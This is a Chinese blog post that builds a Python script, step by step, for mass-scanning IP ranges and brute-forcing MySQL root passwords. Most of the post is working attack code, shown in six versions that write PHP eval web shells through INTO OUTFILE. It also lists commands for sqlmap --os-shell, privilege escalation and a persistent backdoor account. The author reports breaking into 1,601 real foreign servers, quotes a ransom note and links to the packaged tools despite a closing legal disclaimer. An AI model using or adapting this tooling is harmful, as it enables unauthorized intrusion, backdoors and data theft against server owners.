自制python脚本,6小时获取上千台mysql数据库服务器
原文投稿在合天智汇的微信公众号:https://mp.weixin.qq.com/s/OuwL3O9rszdbRPg_6uLPGQ
但由于那里文章中的截图过于模糊,于是在这里再记录一下。
前言:
一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。
一、起因
这个脚本最开始的构思是在AWD比赛的情景下,因为所有服务器的环境都相同,只要查看本地的MySql用户名密码就知道了所有服务器的MySql用户名密码。若服务器开放了3306端口,那么利用这一个漏洞就能顺利获得所有服务器权限。有备无患,于是就写了这个Mysql批量连接写小马的脚本,以下是最原始的脚本(python2)。
原始脚本-1:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
def mysql_connect1(ip,shell_url):
#尝试数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#若数据库连接成功,开始写马
try:
sql_insert="SELECT '<?php @eval($_POST[cmd]); ?>'into outfile '{}';".format(shell_url)
#print sql_insert;
cur.execute(sql_insert)
print "写入成功".decode()
except Exception as e:
print "写入错误"
print e;
return
cur.close()
conn.close()
except MySQLdb.Error,e:
print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])
return
if __name__ == "__main__":
fp_ip=open('ip.txt')
shell_url = 'D:/1.PHP'
for ip in fp_ip.readlines():
fp4=ip.replace('\r',"").replace('\n',"")
# url=str(fp5)
print fp4
mysql_connect1(ip,shell_url)
print '检测结束'
---------------------------------------------------------------------------------------------------------------------------------
需要安装mysqldb,可自行参考网上教程。本人windwos环境直接在https://www.codegood.com/archives/129下载MySQL-python-1.2.3.win-amd64-py2.7.exe安装。写马的过程用到outfile函数。这只是简单方法之一,之后会再探讨。
二、计划
这个python脚本来是为AWD比赛准备的,但后来一直没用上,最后一直躺在“武器库”里生锈。想着既然有些过时了,就让它重新发亮。(为了方便互相学习,之后的代码中会加入大量的注释)
计划对其做以下改进:
1. 加快其速度,支持大批量扫描
2. 增加自动爆破密码的功能
3. 增加日志记录功能
4. 代码规范简洁
三、引入多线程
升级第一步,那就是加快它的速度,单线程太慢了尝试多线程,同时将读取ip.txt文件改为读取IP网段,能适应大批量的网段扫描,使用到IPy库。本人windwos环境直接pip install IPy 安装IPy库无报错。
主要更改了这几处:
以下是这次修改后的完整的代码-2:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
import threading
import time
import IPy
def mysql_connect1(ip,shell_url,shell_content):
#尝试数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)
cur=conn.cursor()
# 若数据库连接成功,开始写马
try:
sql_insert = "SELECT '{}'into outfile '{}';".format(shell_content,shell_url)
print sql_insert;
cur.execute(sql_insert)
print "写入成功".decode()
except Exception as e:
print "写入错误"
print e;
return
cur.close()
conn.close()
except MySQLdb.Error,e:
print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])
return
if __name__ == "__main__":
#内容设置
shell_url='../../../../wamp64/www/erg2313231.php';
shell_content='<?php @eval($_POST[cmd]); ?>'
#设置同时运行的线程数
threads=25
#要检测的IP网段
ip1 = IPy.IP('192.168.0.0/16')
for ip in ip1:
ip=str(ip)
while(threading.activeCount()>threads):
time.sleep(1)
threading.Thread(target=mysql_connect1, args=(ip, shell_url,shell_content)).start()
print '检测结束'
---------------------------------------------------------------------------------------------------------------------------------
四、改善速度,增加ping函数
但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)
增加一个ping_ip函数,可参考http://blog.51cto.com/happylab/1742282
加上判断语句。若主机不存活,则退出
改好后再测试发现时间缩短一半。
以下是这次的完整代码-3:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
import threading
import IPy
import time
import subprocess
def mysql_connect1(ip,shell_url,shell_content):
if not(ping_ip(ip)):
#print ip,"down"
return
#尝试数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#若数据库连接成功,开始写马
try:
#如果有重名数据库则删除该数据库
cur.execute('DROP database IF EXISTS `A123456`;')
cur.execute('create database A123456;')
except:
print ip,"数据库创建错误"
return
cur.execute('use A123456;')
try:
cur.execute('CREATE TABLE A123456.B123456 (C123456 TEXT NOT NULL );')
print ip,"表创建成功"
except:
print ip,"表创建失败"
return
try:
shell_content2="INSERT INTO B123456 (C123456)VALUES ('{}');".format(shell_content)
cur.execute(shell_content2)
print ip,"一句话插入成功"
except:
print ip,"一句话插入失败"
return
#这里设置小马导出后的路径,该目录需要有写权限 且mysql没有开启 secure-file-priv
try:
sql_insert="SELECT C123456 from B123456 into outfile '{}';".format(shell_url)
cur.execute(sql_insert)
print ip,"写入成功".decode()
except Exception as e:
print ip,"写入错误",e
return
cur.close()
conn.close()
return
except MySQLdb.Error,e:
print "Mysql_Error: %d: %s" % (e.args[0], e.args[1])
return
def ping_ip(ip):
# 调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活
cmd = 'ping -w 1 %s' % ip
p = subprocess.Popen(cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
result = p.stdout.read()
regex = result.find('100%')
# 未匹配到就是-1
# 未匹配到就是存活主机
if (regex == -1):
return 1
else:
return 0
if __name__ == "__main__":
start = time.time()
#内容设置
shell_url='../../../../wamp64/www/erg2313231.php';
shell_content='<?php ($_=@$_GET[2]).@$_($_POST[1323222222])?>'
#设置同时运行的线程数
threads=25
#要检测的IP网段
ip1 = IPy.IP('192.168.0.0/24')
for ip in ip1:
ip=str(ip)
while(threading.activeCount()>threads):
time.sleep(1)
t1=threading.Thread(target=mysql_connect1, args=(ip, shell_url,shell_content))
t1.start()
#当线程只剩1时,说明执行完了
while(threading.activeCount()!=1):
time.sleep(1)
print "检测结束"
end = time.time()
print end - start
---------------------------------------------------------------------------------------------------------------------------------
五、日志记录
接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。
更改了以下几处:
简单的日志记录函数:
记录日志的几种情况:
区分不同的报错信息:
以下是此次的完整代码-4:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
import threading
import time
import IPy
import subprocess
def mysql_connect1(ip):
if not(ping_ip(ip)):
#print ip,"down"
return
else:
#记录在线的ip
ip_log("ip_up.txt",ip,"")
#尝试数据库连接
try:
conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
cur=conn.cursor()
#记录开放3306端口的ip
ip_log("port_connected.txt", ip,"")
except MySQLdb.Error,e:
e = str(e)
#记录报错信息
print e
r1 = e.find('Can\'t connect') #端口未开放 Mysql_Error: 2003: Can't connect to MySQL server on '35.164.6.48' (10060)
r2 = e.find('Access denied') # 端口开放但密码错误 Mysql_Error: 1045: Access denied for user 'root'@'localhost' (using password: YES)
r3 = e.find('not allowed') #端口只允许特定ip连接 Mysql_Error: 1130: Host '172.17.14.2' is not allowed to connect to this MySQL server
#r3 = e.find('Learn SQL!') #这限制特定了sql语句
if (r1 != -1):
#排除端口不开放的情况
return
elif(r2 != -1):
#ip_log('port_opend.txt',ip, "密码错误")
ip_log('port_opend.txt',ip, e)
elif(r3 != -1):
#ip_log('port_opend.txt', ip , "不允许该IP连接")
ip_log('port_opend.txt', ip , e)
else:
#ip_log('port_opend.txt', ip, "其他错误")
ip_log('port_opend.txt', ip, e)
return
def ping_ip(ip):
# 调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活
cmd = 'ping -w 1 %s' % ip
p = subprocess.Popen(cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
result = p.stdout.read()
regex = result.find('100%')
# 未匹配到就是-1,就是存活主机
if (regex == -1):
return 1
else:
return 0
def ip_log(txt_name,ip,content):
f1 = open(txt_name, 'a')
f1.write(ip + " " + content + "\r\n")
f1.close()
if __name__ == "__main__":
start = time.time()
#设置同时运行的线程数
threads=150
#要检测的IP网段
ip1 = IPy.IP('192.168.0.0/16')
for ip in ip1:
ip=str(ip)
print ip
while(threading.activeCount()>threads):
time.sleep(1)
t1=threading.Thread(target=mysql_connect1, args=(ip,))
t1.start()
#当线程只剩1时,说明执行完了
while(threading.activeCount()!=1):
time.sleep(5)
print "检测结束"
---------------------------------------------------------------------------------------------------------------------------------
这里代码已经开始杂乱了,暂且放着。改完后测试扫描了米国某网段一个小时,发现现在竟然还有空密码连接的洞,可能是网段选得好吧,有大量的在线服务器。
开放端口的日志:
成功连接的日志:
六、字典爆破
当然,一个空密码连接不可能满足我们,再加上个弱口令爆破功能就更完美了。在mysql连接函数外套一个循环,循环读取txt中的每行密码进行尝试。
注意:在读取txt字典里每行的内容时记得去掉”\r”和“\n”这代表回车的符号,不然爆破密码时就带上了它们。
在过程中发现MySQLdb.connect的一个问题:
理论上当运行该函数长时间未连接端口时会抛出错误,但在实际过程中,有时候不会抛出错误,程序一直阻塞。去查阅了mysqldb的文档,发现有个连接超时(connect_timeou)的参数选项(如下图),当连接超时时会抛弃该连接。但一测试马上发现这个参数形同虚设,根本没用!
无奈,只能手动给函数加上时间限制,考虑了以下两个方法。
方法一:使用signal.SIGALRM信号量,但SIGALRM只能在linux系统下使用
可参考:
https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python
方法二:使用多线程中的join()的超时参数,比如join(3)就是限制了子线程运行的时间为3秒。
在此我采用方法二:
但同时需要注意的是try...except是无法捕捉线程中的报错的,因为线程有独立的栈,线程产生的异常发生在不同的栈上,因此无法捕捉到线程的异常。即捕捉不到3306端口连接错误,就无法根据报错信息来分析端口的连接情况。但如果在线程内部使用try..except来捕捉报错的话,线程自身又不返回值,无法告诉主函数端口的连接情况,也就无法确定是否要进行密码爆破,或者什么时候密码爆破成功,这时候又该怎么办呢?
查阅网上的资料,发现有利用类的变量来传递线程内的消息,也有使用 Queue 库创建队列实例来传递数据的。但总觉得有些“臃肿”,不太满意。思考着突然豁然开朗,可以在线程运行的函数内部判断端口的连接情况,然后用threading.Event()的标志设置与否,来传递结果,让主函数知道接下来该如何运行。设置了标志说明要进行下一步操作,未设置标志则return退出当前操作。
关于threading.Event()的基础知识可参考:
https://blog.csdn.net/u012067766/article/details/79734630
修改后的主函数:
这里就不放上完整的代码了,因为紧接着马上又改进了效率。
七、继续提高效率
反思:
在之前测试中,发现有好些的主机在线却ping不通,现在的服务器为了避免恶意的网络攻击,一会拒绝用户Ping服务器。而且调用系统命令行来ping主机是否存活这步骤也很消耗性能,无法设置较高的线程,只能维持在几百。
改进:
于是直接删去ping功能,直接调用mysql函数连接3306端口,通过设置join()的超时设置来判断端口是否开放。因为一般情况下,若mysql服务端口3306端口不开放,返回不能连接的错误需要6~8秒左右,但若该端口开放,1秒便能回应。因此设置join(3),若3秒内无回应,则默认端口关闭,销毁该线程。这样改进以后,线程能开到10000左右,效率翻倍提高,代码也更加简洁。
以下是此次的代码-5:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
import threading
import time
import IPy
def MySQLdb_connect(ip, mysql_password,event):
event1=event
try:
event1.clear()
MySQLdb.connect(ip, mysql_user, mysql_password, '' , 3306)
event1.clear()
print ip + ":" + mysql_password + " connected"
ip_log('port_connected.txt', ip, mysql_password)
except Exception,e:
e = str(e)
#print e
if (e.find('Access denied') != -1):
# 端口开放,但密码错误,记录并继续下面的爆破代码
event1.set() #设置爆破标志
print ip + ":" + mysql_password + " 密码错误"
#ip_log('port_opend.txt', ip, "密码错误")
pass
elif (e.find('many connections') != -1):
# 连接过多,暂停1秒
time.sleep(1)
event1.set()
pass
elif (e.find('Can\'t connect') != -1):
# 端口未开放,退出
event1.clear()
else:
# 其他错误,记录并退出
event1.clear()
ip_log('port_opend.txt', ip, e)
return
#爆破函数
def mysql_connect2(ip):
# 先尝试空密码连接threading.Event()
event1 = threading.Event()
t2 = threading.Thread(target=MySQLdb_connect, args=(ip, '',event1))
t2.start()
t2.join(3) #3秒超时
if not event1.isSet():
#未设置标识则退出
return
ip_log('port_opend.txt', ip, "密码错误")
# 开始爆破
fp_mp = open('mysql_password.txt', 'r')
for mysql_password in fp_mp.readlines():
#event2 = threading.Event()
mysql_password = mysql_password.replace('\r', "").replace('\n', "")
t2 = threading.Thread(target=MySQLdb_connect, args=(ip, mysql_password, event1))
t2.start()
t2.join(5) # 秒超时
if not event1.isSet():
# 未设置标识则退出,不然就继续爆破
fp_mp.close()
return
fp_mp.close()
return
def ip_log(txt_name,ip,content):
f1 = open(txt_name, 'a')
f1.write(ip + ":" + content + "\r\n")
f1.close()
if __name__ == "__main__":
mysql_user='root'
#设置同时运行的线程数
threads=10000
ip1 = IPy.IP('127.0.0.1')
for ip in ip1:
ip=str(ip)
#print ip
#限制线程数
while (threading.activeCount() > threads):
time.sleep(1)
t1 = threading.Thread(target=mysql_connect2, args=(ip,))
t1.start()
#当线程只剩1时,说明执行完了
while(threading.activeCount()!=1):
time.sleep(1)
print "检测结束"
---------------------------------------------------------------------------------------------------------------------------------
八、优化、修补
实际测试中发现了一些报错。
报错一:
当同时对大量在线的mysql服务器进行密码爆破时,同时不断的读取字典文件可能会报错。于是直接改成了将字典文件读进列表,以后的每次密码爆破都只是在遍历密码列表。另外有一个注意点,Linux是有文件句柄限制的(open files),一般最大数为1024。出现其他情况的“Too mant opeb file”报错,也可以用这个命令ulimit -n 102400,增大打开文件数来解决。
创建密码列表:
循环读取列表
为了防止意外发生写文件错误,也给它加了层“防护衣”:
报错信息二:
之前没有考虑这个问题,实际测试中也蛮多的,发生在网站状态不稳定的情况下。
没什么好说的,错误信息判断里面补上.在错误信息判断里面补上,网络不好就暂停一会儿。
以下是本次的完整代码-6:
---------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/env python
#coding=utf-8
#author:Blus
import MySQLdb
import threading
import time
import IPy
def MySQLdb_connect(ip, mysql_password,event):
event1=event
try:
event1.clear()
MySQLdb.connect(ip, mysql_user, mysql_password, '' , 3306)
event1.clear()
print ip + ":" + mysql_password + " connected"
ip_log('port_connected.txt', ip, mysql_password)
except Exception,e:
e = str(e)
#print e
if (e.find('Access denied') != -1):
# 端口开放,但密码错误,记录并继续下面的爆破代码
event1.set() #设置爆破标志
#print ip + ":" + mysql_password + " 密码错误"
#ip_log('port_opend.txt', ip, "密码错误")
pass
elif (e.find('many connections') != -1):
# 连接过多,暂停1秒
time.sleep(1)
event1.set()
pass
elif (e.find('Can\'t connect') != -1):
# 端口未开放,退出
event1.clear()
else:
# 其他错误,记录并退出
event1.clear()
ip_log('port_opend.txt', ip, e)
return
#爆破函数
def mysql_connect2(ip):
# 先尝试空密码连接threading.Event()
event1 = threading.Event()
t2 = threading.Thread(target=MySQLdb_connect, args=(ip, '',event1))
t2.start()
t2.join(3) #3秒超时
if not event1.isSet():
#未设置标识则退出
return
ip_log('port_opend.txt', ip, "密码错误")
# 开始爆破
global list_password
for mysql_password in list_password:
mysql_password = mysql_password.replace('\r', "").replace('\n', "")
t2 = threading.Thread(target=MySQLdb_connect, args=(ip, mysql_password, event1))
t2.start()
t2.join(5) # 秒超时
if not event1.isSet():
# 未设置标识则退出,不然就继续爆破
fp_mp.close()
return
return
def ip_log(txt_name,ip,content):
try:
f1 = open(txt_name, 'a')
f1.write(ip + ":" + content + "\r\n")
f1.close()
except Exception, e:
print str(e)
pass
if __name__ == "__main__":
#设置数据库用户名
mysql_user='root'
#设置同时运行的线程数
threads=10000
#指定IP网段
ip1 = IPy.IP('192.168.50.1/32')
#将密码字典读进列表
list_password= []
fp_mp = open('mysql_password.txt', 'r')
for password in fp_mp.readlines():
list_password.append(password)
for ip in ip1:
ip=str(ip)
#限制同时运行的线程数
while (threading.activeCount() > threads):
time.sleep(1)
t1 = threading.Thread(target=mysql_connect2, args=(ip,))
t1.start()
while(threading.activeCount()!=1):
# 当线程只剩1时,说明执行完了
time.sleep(1)
print "检测结束"
---------------------------------------------------------------------------------------------------------------------------------
九、获取数据库服务器权限
至此,MySql工具基本升级完成,本来还应该加上相关的自动攻击代码,但发现目前网上还存在大量弱口令连接的数据库服务器,而且数据库服务器重要的是数据,其数据比一台服务器的权限更宝贵。因此,在这就只是简单和大家探讨几种常见的Mysql攻击手段。
1.system函数调用系统命令
在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令。例如 system ifconfig或者 \! ifconfig。
当然不一定会开启这个函数,可以在mysql命令行下输入help,来查看是否存在system函数,若有则能使用该函数。
2. outfile写小马
只限于站库未分离的服务器,写在数据库的字段中写入小马内容,再利用outfile导出成一个小马,放置于web目录下。基本命令如下:
create database A123456666;
use A123456666;
CREATE TABLE A123456666.B123456 (C123456 TEXT NOT NULL );
INSERT INTO B123456 (C123456)VALUES ('111');
SELECT C123456 from B123456 into outfile '网站路径/shell.php';
drop database A123456666;
也可以简化为:
SELECT '<?php @eval($_POST[cmd]); ?>' into outfile '/var/www/html/shell.php';
3.另外还有udf、mof提权,以及msf、sqlmap自动工具之类的
举例: sqlmap.py -d "mysql://root:1234@192.168.1.1:3306/databasename" --os-shell
- 哪怕无法获得整台服务器的权限,但只要能一直维持对数据库的访问也是极好的。
服务器的数据库密码很可能会被更改,因此在获得数据库的密码后,立刻创建一个新账户还是比较重要的。可以紧接着执行如下命令:
CREATE USER 'big'@'%' IDENTIFIED BY '123456'; 创建用户名为big,密码为123456的用户
GRANT ALL PRIVILEGES ON *.* TO 'big'@'%' IDENTIFIED BY '123456'; 授权
flush privilege; 刷新权限
十、测试分析结果
是骡是马得拉出来溜溜,选了个明媚的中文,开了主机运行脚本,每台一万个线程,跑了大半天米国的某 X.0.0.0/8网段。本不抱什么希望,最后结果却出人意料。
共计255x255x255=16581375个IP,其中有44979个mysql服务器在线,其中4,776个只允许指定的ip连接,553个端口报错,37450个端口可正常连接。在可正常连接的37450端口中,爆破密码成功连接的有1601个,真可谓是“万里挑一”。
下面附上部分截图:
爆破成功的记录
测试中出现过的报错情况:
数据库截图,虽然是美国的网段,但发现也有其他国家地区部署的数据库,包括中国。
发现一些已经被黑客攻击的网站,数据库被删除,只留下WARNING-Readme。受害者只有向黑客支付比特币才能恢复数据。国内一般都是直接脱库、分类、汇总,然后卖数据。
勒索信息:
“Your Database is downloaded and backed up on our secured servers. To recover your lost data: Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome!.”
结语:
可能有人会说,不就是个批量爆破工具吗。但我并不只是想分享一个工具,同时也是把这个脚本诞生的过程一步一步的展现出来,便于大家探讨学习。不只是单纯的用工具,更是要学会工具背后的原理及其意义。另外就是与大家分享一下安全现状,如果只是自己在扫,也不一定有耐心能扫出这么多带漏洞的服务器,我在扫的时候,有时候连扫几十个网段都不见得有一台mysql服务器。 这次扫描的X.0.0.0 - X.127.0.0网段只扫出来50台MySql服务器。而X.128.0.0 - X.255.0.0却有上万台。可能是因为很多云服务器厂家,包括大型企事业单位,他们服务器的ip都是“扎堆”在一起的吧。因此网段选得好,也能影响最后的结果。这需要“手气”,同时也需要耐心。在爆破密码的时候更需要一个精巧的字典,在精不在多,本人使用的字典只有5kb,但却包含了许多的高频弱口令。每年都会有TOP100的弱口令报告出来,要注意收集。国外的安全情况如此,国内的安全情况也不容乐观,我们储存在网上的个人信息和数据很容易就会被不法分子窃取。作为网络安全从业者的我们,应该积极响应国家号召,在自己的岗位上尽心尽力,遵守国家的法律。不去做危害计算机安全的事,哪怕是国外的服务器。每年都有入狱的“黑客”,望大家引以为戒。也希望能大家一起学习成长,谢谢。
上述所有脚本已打包:
https://pan.baidu.com/s/12skXEu2wLP0W_0LSYMZ0eQ 提取码:jy0h
压缩包密码是:blusblus
自制python脚本,6小时获取上千台mysql数据库服务器相关推荐
- dht11 python mysql,通过python脚本将arduino传感器数据发送到mysql数据库时出现问题
我用的是DHT11湿度传感器,达拉斯18B20温度传感器,簧片开关和孔效应传感器与arduino.我在数据库中插入了两个传感器数据(湿度和温度)成功了.但是当我尝试将四个传感器数据插入数据库时,它没有 ...
- 电脑上怎么配置mysql数据库服务器_Mysql数据库服务器安装与配置详解教程
一.Mysql的安装 首先,看看自己电脑里是否安装了Mysql软件rpm -qa | grep mysql 如果没有安装,则放入光盘:rpm -ivh mysql-server-*.rpm(如果不能直 ...
- 让客户无法拒绝的成交方案,理发店一个月竟获取上千个客户
深圳有一家理发店采用的是鱼饵模式.这里简单地分享一下,这个理发店是那种中高端那种.他们直接设计了一个产品,通过老顾客来店消费的时候,告诉他们,我们今天有一个超级优惠,你只要今天充值50块,我赠送你5张 ...
- 在VMware Workstation中批量创建上千台虚拟机(上)
VMware Workstation 是我们经常使用的虚拟机软件,其功能强大,性能较好.大多数用户都会在"图形界面"中创建虚拟机.修改虚拟机配置.添加虚拟机参数,或者使用" ...
- docker上定期备份mysql数据库
docker上定期备份mysql数据库 docker备份数据指令 脚本 python脚本 shell脚本 docker备份数据指令 container_name:容器名称,此处也可填容器ID. db_ ...
- scrapy读取mysql数据库_python3实战scrapy获取数据保存至MySQL数据库
python3使用scrapy获取数据然后保存至MySQL数据库,我上一篇写了如何爬取数据保存为csv文件,这一篇将会写如何将数据保存至数据库. 思路大都一样,我列一个思路: 1:获取腾讯招聘网. 2 ...
- oracle数据库启动多个监听,一台Oracle数据库服务器上两个监听同时使用
记得之前Oracle原厂的工程师在例行检查时发现一台Oracle数据库服务器的上启动了两个监听,分别监听的是1521和1581端口,而且两个端口都在用,当时当作一个比较奇怪的现象,没有能理解原因是什么 ...
- 如何在Windows 10上安装MySQL数据库服务器8.0.19
In this article, I am going to explain the step by step installation process of MySQL database serve ...
- PHP 头像上传到mysql数据库
准备环境 window2008 phpStudy Mysql数据库 mysql数据库 第一步:用户登录成功 该用户已经存在数据库 进入个人中心,查找到数据库中的个人信息 进行图片上次 <?php ...
最新文章
- Android饼图Pie Chart
- foo php,php – $foo === TRUE和TRUE === $foo有什么区别?
- 2019年财政收支分析_2019年CPI走势预测与分析
- html native code is rendered from xml configuration
- ble连接过程建立_九点之蓝牙连接
- lora网关软件设计_SX1301网关设计 LoRaWAN网关 评估开发套件sx1278双向测试云平台LPKT001...
- 快速入门人工智能的方法,持续更新ing
- java stdout库_Java重写StdOut并将日语写入文件
- charles iPhone抓包步骤 Fiddler
- 跨平台数据库ODB实战1-ODB安装
- linux同步苹果照片,有用iPhone的吗?Linux下怎么管理iPhone里的照片?
- Python dataframe绘制饼图_Python可视化29|matplotlib-饼图(pie)
- python打开网页后点击网页按钮_单击网页按钮的Python脚本
- 数字信号处理学习笔记[5] 冲激函数——delta函数
- 通过Debugx5在电脑端调试微信页面
- 爬虫关键信息获取与MongoDB数据库使用方法
- word-break:break-word、word-break:break-all和word-wrap:break-word 自动换行
- python绘制梅花_Python | 巧用生成表达式、让循环显得高大上 !
- 零基础转行入IT,应该怎样入门效率最高?
- freeline集成